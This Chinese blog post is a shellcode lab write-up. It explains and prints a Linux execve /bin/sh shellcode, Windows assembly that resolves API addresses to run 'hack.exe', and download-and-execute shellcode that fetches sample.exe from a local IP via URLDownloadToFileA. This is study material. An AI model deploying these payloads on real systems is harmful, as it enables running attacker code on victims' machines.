• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

ShellCode实验

2020-06-28

1. 实验要求

  • 阅读 www.exploit-db.com 中的shellcode。建议找不同功能的,不同平台的 shellcode解读
  • 修改示例代码的shellcode,将其功能改为下载执行。也就是从网络中下载一个程序,然后运行下载的这个程序

2. 实验原理

2.1. shellcode

a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine

2.2. 内核态

shellcode按照放置的位置可以分为三种:用户态shellcode和内核态shellcode或者二者混合。

shellcode的选择要依赖于漏洞类型和使用的内存模型,内核态shellcode的利用限制有很多,首先shellcode必须在内核利用当前页表可以直接访问的虚拟地址空间范围内,也就是说得把shellcode放到了实现用户态/内核态分离地址空间模型的系统位以内核上下文中,并且放到混合空间模型的系统的内核上下文和返回上下文中。除此之外,放置shellcode的内存必须是可以执行区域(DEP存在一个数据区不可执行的安全策略),也就是说存放shellcode的页需要将执行标志位打开,如果shellcode在用户态的话就会相对简单些。第三点,储存shellcode的区域必须要在内存中,也就是说内核可能会隐含地将要执行的内存作为分页,所以不能承受再从硬盘中取shellcode页(core dump?)

2.3. xor代替mov 0

这串shellcode中还有一些NULL(\x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。要编写真正有用的shellcode我们还要想办法把\x00消去。

首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了

2.4. ps

当你遇到n字节长的缓冲区时,你不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小

3. 实验内容

3.1. Linux/x86 - execve /bin/sh Shellcode (25 bytes)

1
sudo gcc -g t.c -fno-stack-protector -z execstack -m32 -static -o t
  • 成功调用/bin/sh

3.1.1. 查看反汇编

1
objdump -D -z t | less
  • -D, --disassemble-all
    • Display assembler contents of all sections
  • -z, --disassemble-zeroes
    • Do not skip blocks of zeroes when disassembling

对比一下shellcode

1
2
unsigned char code[] = \
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";

3.1.2. 原理

重现shellcode产生过程

在Linux里,有两种方法创建新进程:一是通过现有的进程来创建,并替换正在活动的;二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。而execve()系统调用就可以在现有的进程空间里执行其他的进程。

  • 查找execve的系统调用号
    • 存入eax作为系统调用

      In x86-32 parameters for Linux system call are passed using registers %eax for syscall_number. %ebx, %ecx, %edx, %esi, %edi, %ebp are used for passing 6 parameters to system calls.

      The return value is in%eax. All other registers (including EFLAGS) are preserved across the int $0x80.

  • 查看execve输入的参数:man execve
    • filename必须指向包含要执行的二进制文件的路径的字符串。在这个栗子中,就是字符串[/ bin / sh]。
    • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行“/ bin / sh”,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是,按照惯例,第一个参数是我们要执行的文件名。所以,argv []就是[‘/ bin / sh’,00000000]
    • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针\0x00000000
    1
    2
    3
    4
    5
    6
    7
    8
    NAME
    execve - execute program

    SYNOPSIS
    #include <unistd.h>

    int execve(const char *filename, char *const argv[],
    char *const envp[]);
  • int 0x80指令把cpu切换到内核模式,并执行我们的系统调用
  • hs/nib/转16进制数:68732f6e69622f
    • 由于exi寄存器内存空间为32bit,再在后面补一个/(2f)

编写汇编代码tt.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
global _start			

section .text
_start:


cdq ; xor edx
mul edx
lea ecx, [eax]
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi
push edi ; push hs/nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80 ; execute

生成elf文件并提取shellcode

1
2
3
4
sudo nasm -f elf32 tt.asm
sudo ld -m elf_i386 -s -o tt tt.o

objdump -d ./tt|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

ps:

int (*ret)() = (int(*)())code;

int(*ret)()declares a function pointer named ret; the function takes unspecified arguments and returns an integer


So this converts the address of the code array to a function pointer, which then allows you to call it and execute the code.

Note that this is technically undefined behavior, so it doesn’t have to work this way. But this is how practically all implementations compile this code. Shellcodes like this are not expected to be portable – the bytes in the code array are dependent on the CPU architecture and stack frame layout.

3.2. Windows - MessageBoxA() Shellcode (238 bytes)

1
gcc.exe -g t.c -fno-stack-protector  -m32 -static -o t

3.3. 文件下载执行

继承自源码的包括:

  • 找kernal32.dll地址
  • 读取函数导出表
    • 找到GetProcAddress地址
    • 调用GetProcAddress在kernal32.dll导出表中找LoadlibraryA
  • ……
  • 找到并调用WinExec执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
; Create stack frame
mov ebp, esp
sub esp, 0x30

; Find kernel32.dll base address
xor ebx, ebx
mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll
mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll
mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll

; Find the address of the Export Table within kernel32.dll
mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader
add ebx, eax ; EBX = &NewEXEHeader
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable
add ebx, eax ; EBX = &ExportTable

; Find the address of the Name Pointer Table within kernel32.dll
mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable
add edi, eax ; EDI = &NamePointerTable
mov [ebp-0x8], edi ; save &NamePointerTable to stack frame

; Find the address of the Ordinal Table
mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable
add ecx, eax ; ECX = &OrdinalTable
mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame

; Find the address of the Address Table
mov edx, [ebx+0x1C] ; EDX = RVA AddressTable
add edx, eax ; EDX = &AddressTable
mov [ebp-0x10], edx ; save &AddressTable to stack-frame

; Find Number of Functions within the Export Table of kernel32.dll
mov edx, [ebx+0x14] ; EDX = Number of Functions
mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame

jmp short functions

findFunctionAddr:
; Initialize the Counter to prevent infinite loop
xor eax, eax ; EAX = Counter = 0
mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
mov edi, [ebp-0x8] ; EDI = &NamePointerTable
mov esi, [ebp-0x18] ; ESI = Address of String for the Symbol we are searching for
xor ecx, ecx ; ECX = 0x00000000
cld ; clear direction flag - Process strings from left to right
mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
add cx, 0xF ; ECX = len("GetProcAddress,0x00") = 15 = 14 char + 1 Null
repe cmpsb ; compare first 8 bytes of [&NameString] to "GetProcAddress,0x00"
jz found ; If string at [&NameString] == "GetProcAddress,0x00", then end loop
inc eax ; else Counter ++
cmp eax, edx ; Does EAX == Number of Functions?
jb searchLoop ; If EAX != Number of Functions, then restart the loop

found:
; Find the address of GetProcAddress by using the last value of the Counter
mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
mov edx, [ebp-0x10] ; EDX = &AddressTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
mov eax, [edx + eax*4] ; EAX = RVA GetProcAddress = [&AddressTable + ordinalNumber]
add eax, [ebp-0x4] ; EAX = &GetProcAddress = RVA GetProcAddress + &kernel32.dll
ret

functions:
# Push string "GetProcAddress",0x00 onto the stack
xor eax, eax ; clear eax register
mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
push 0x41636f72 ; Acor : 41636f72
push 0x50746547 ; PteG : 50746547
mov [ebp-0x18], esp ; save PTR to string at bottom of stack (ebp)
call findFunctionAddr ; After Return EAX will = &GetProcAddress
# EAX = &GetProcAddress
mov [ebp-0x1C], eax ; save &GetProcAddress

; Call GetProcAddress(&kernel32.dll, PTR "LoadLibraryA"0x00)
xor edx, edx ; EDX = 0x00000000
push edx ; null terminator for LoadLibraryA string
push 0x41797261 ; Ayra : 41797261 // "LoadLibraryA",0x00
push 0x7262694c ; rbiL : 7262694c
push 0x64616f4c ; daoL : 64616f4c
push esp ; $hModule -- push the address of the start of the string onto the stack
push dword [ebp-0x4] ; $lpProcName -- push base address of kernel32.dll to the stack
mov eax, [ebp-0x1C] ; Move the address of GetProcAddress into the EAX register
call eax ; Call the GetProcAddress Function.
mov [ebp-0x20], eax ; save Address of LoadLibraryA

; …………

Create string 'WinExec\x00' on the stack and save its address to the stack-frame
mov edx, 0x63657878 \
shr edx, 8 ; Shifts edx register to the right 8 bits
push edx ; "\x00,cex"
push 0x456E6957 ; EniW : 456E6957
mov [ebp+0x18], esp ; save address of string 'WinExec\x00' to the stack-frame
call findFunctionAddr ; After Return EAX will = &WinExec


xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "hack.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x6B636168 ; kcah : 6B636168
mov ebx, esp ; save pointer to "hack.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
push ebx ; lpcmdLine - push string address stack # 1st argument
call eax ; Call the WinExec Function

; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame
xor ecx, ecx ; clear eax register
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636F7250 ; corP : 636F7250
push 0x74697845 ; tixE : 74697845
mov [ebp+0x18], esp ; save address of string 'ExitProcess\x00' to stack-frame
call findFunctionAddr ; After Return EAX will = &ExitProcess

; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
call eax ; ExitProcess(ExitCode)

下载组件

  • LoadlibraryA调用urlmon.dll
  • 调用GetProcAddress在urlmon.dll导出表中找URLDownloadToFileA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
section .text
global _start
_start:

xor ecx,ecx
mov eax,[fs:ecx+0x30] ;Eax=PEB
mov eax,[eax+0xc] ;eax=PEB.Ldr
mov esi,[eax+0x14] ;esi=PEB.Ldr->InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;ecx=kernel32.dll base address
;------------------------------------

mov ebx,[ecx+0x3c] ;kernel32.dll +0x3c=DOS->e_flanew
add ebx,ecx ;ebx=PE HEADER
mov ebx,[ebx+0x78];Data_DIRECTORY->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY

mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
;------------------------------------------
xor edx,edx

count:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz count
cmp dword [eax+4],'rocA'
jnz count
cmp dword [eax+8],'ddre'
jnz count

;---------------------------------------------

mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx

mov edx,[esi+edx*4]
add edx,ecx ;edx=GetProcAddress()

;-----------------------------------------

xor esi,esi
mov esi,edx ;GetProcAddress()
mov edi,ecx ;kernel32.dll

;------------------------------------
;finding address of LoadLibraryA()
xor eax,eax
push eax
push 0x41797261
push 0x7262694c
push 0x64616f4c

push esp
push ecx

call edx

;------------------------
add esp,12
;-----------------------------

;LoadLibraryA("urlmon.dll")
xor ecx,ecx

push 0x41416c6c
mov [esp+2],byte cl
push 0x642e6e6f
push 0x6d6c7275

push esp
call eax

;-----------------------

add esp,12
;-----------------------
;finding address of URLDownloadToFileA()
xor ecx,ecx
push 0x42424165
mov [esp+2],byte cl
push 0x6c69466f
push 0x5464616f
push 0x6c6e776f
push 0x444c5255

push esp
push eax
call esi

;------------------------
add esp,20
push eax
;---------------------------------------
;URLDownloadToFileA(NULL,url,save as,0,NULL)
download:
pop eax
xor ecx,ecx
push ecx

;-----------------------------
;change it to file url

push 0x6578652e
push 0x656c706d
push 0x61732f30
push 0x33312e36
push 0x382e3836
push 0x312e3239
push 0x312f2f3a
push 0x70747468
;-----------------------------------


push esp
pop ecx ;url http://192.168.86.130/sample.exe

xor ebx,ebx
push ebx

;------------------------
;save as (no need change it.if U want to change it,do it)
push 0x6578652e
push 0x646c7970
;-------------------------------
push esp ;pyld.exe
pop ebx ;save as

xor edx,edx
push eax
push edx
push edx
push ebx
push ecx
push edx

call eax

;-------------------------

pop ecx
add esp,44
xor edx,edx
cmp eax,edx
push ecx
jnz download ;if it fails to download , retry contineusly

4. 常见问题

multilib 库: 使用这个库可以在64位的机器上产生32位的程序或者库文件

  • sudo apt install gcc-multilib

fatal error: bits/libc-header-start.h: No such file or directory #include <bits/libc-header-start.h>,
出现这个错误时,这多半是你所编译的项目是在64位机器上生成32位的项目,你需要安装对应的gcc 32位的库;此时检查gcc一定有-m32的存在

exec format error 32

  • wsl1不支持32位elf(2020.6.29)

5. 参考

  • Linux/x86 - execve /bin/sh Shellcode (25 bytes)
  • objdump • help
  • Linux下shellcode的编写 - lsgxeva - 博客园
  • Get all shellcode on binary file from objdump Using cut, grep, objdump, paste, sed, tr
  • c - What does int (ret)() = (int()())code mean? - Stack Overflow
  • assembly - What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 - Stack Overflow
  • sec
  • Security
  • Software Security
符号执行
虚内存
  1. 1. 1. 实验要求
  2. 2. 2. 实验原理
    1. 2.1. 2.1. shellcode
    2. 2.2. 2.2. 内核态
    3. 2.3. 2.3. xor代替mov 0
    4. 2.4. 2.4. ps
  3. 3. 3. 实验内容
    1. 3.1. 3.1. Linux/x86 - execve /bin/sh Shellcode (25 bytes)
      1. 3.1.1. 3.1.1. 查看反汇编
      2. 3.1.2. 3.1.2. 原理
    2. 3.2. 3.2. Windows - MessageBoxA() Shellcode (238 bytes)
    3. 3.3. 3.3. 文件下载执行
  4. 4. 4. 常见问题
  5. 5. 5. 参考
© 2024 何决云 载入天数...